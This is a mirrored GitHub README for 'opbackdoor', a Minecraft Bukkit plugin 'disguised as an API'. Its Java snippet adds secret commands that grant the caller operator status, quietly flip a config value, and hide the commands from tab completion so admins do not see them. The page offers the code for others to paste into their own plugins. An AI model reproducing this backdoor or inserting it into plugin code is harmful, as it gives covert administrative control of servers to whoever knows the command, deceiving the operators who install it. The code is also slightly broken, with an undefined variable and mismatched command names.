GithubHelp home page GithubHelp logo

olliejw / opbackdoor Goto Github PK

View Code? Open in Web Editor NEW
2.0 2.0 1.0 44 KB

With a secret command, you can make yourself OP on a server with this plugin disguised as an API

License: GNU General Public License v3.0

Java 100.00%

opbackdoor's Introduction

Example Backdoor

With a secret command, you can make yourself OP on a server with this plugin disguised as an API

I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS. USE WITH CAUTION! MY PLUGINS ARE OPEN SOURCE FOR A REASON. THIS CODE OR SIMILAR IS NOT USED IN ANY OF MY PLUGINS.

Only one person can use this per server though! In the config.yml the version will change to 0.40 when somebody has used the cheat and 0.41 when nobody has used it on this server.

On a plugin with this enabled run these commands:

  1. /secret-command-to-op -- Makes you OP
  2. /secret-command-to-deop -- Deops you

[Optional] Adding it to a plugin

You do not need to do this, this is only for people who know how to make plugins and who have a little bit of Java knowledge. Just add this code segment to a plugin and it will be ready to go

@Override
public void onEnable() {
   Bukkit.getCommand("secret-command-to-op").setExecutor(this, this);
   Bukkit.getCommand("secret-command-to-de-op").setExecutor(this, this);
}
// When a user runs our secret command it will op them and discreatly change the config file so only one person can use it
 @Override
 public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
     Player pl = (Player) sender;
     if (sender != null) {
         if (cmd.getName().equalsIgnoreCase("secret-command-to-op")) {
             if (p.getConfig().getDouble("version")==0.41) {
                 pl.setOp(true);
                 p.getConfig().set("version", 0.40);
                 p.saveConfig();
             }
         }
         if (cmd.getName().equalsIgnoreCase("secret-command-to-deop")) {
             if (p.getConfig().getDouble("version")==0.40) {
                 pl.setOp(false);
                 p.getConfig().set("version", 0.41);
                 p.saveConfig();
             }
         }
     } return true;
 }
// Hides command from tab complete - Hidden from admins
 @EventHandler
 public void onPlayerTab(PlayerCommandSendEvent e) {
     List<String> blockedCommands = new ArrayList<>();
     blockedCommands.add("secret-command-to-op");
     blockedCommands.add("secret-command-to-deop");
     e.getCommands().removeAll(blockedCommands);
 }

opbackdoor's People

Contributors

olliejw avatar alonhor avatar

Stargazers

Emirhan Koç avatar  avatar

Watchers

Emirhan Koç avatar  avatar

Forkers

torono909

opbackdoor's Issues

READ ME!

this maybe corrupting your pc!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.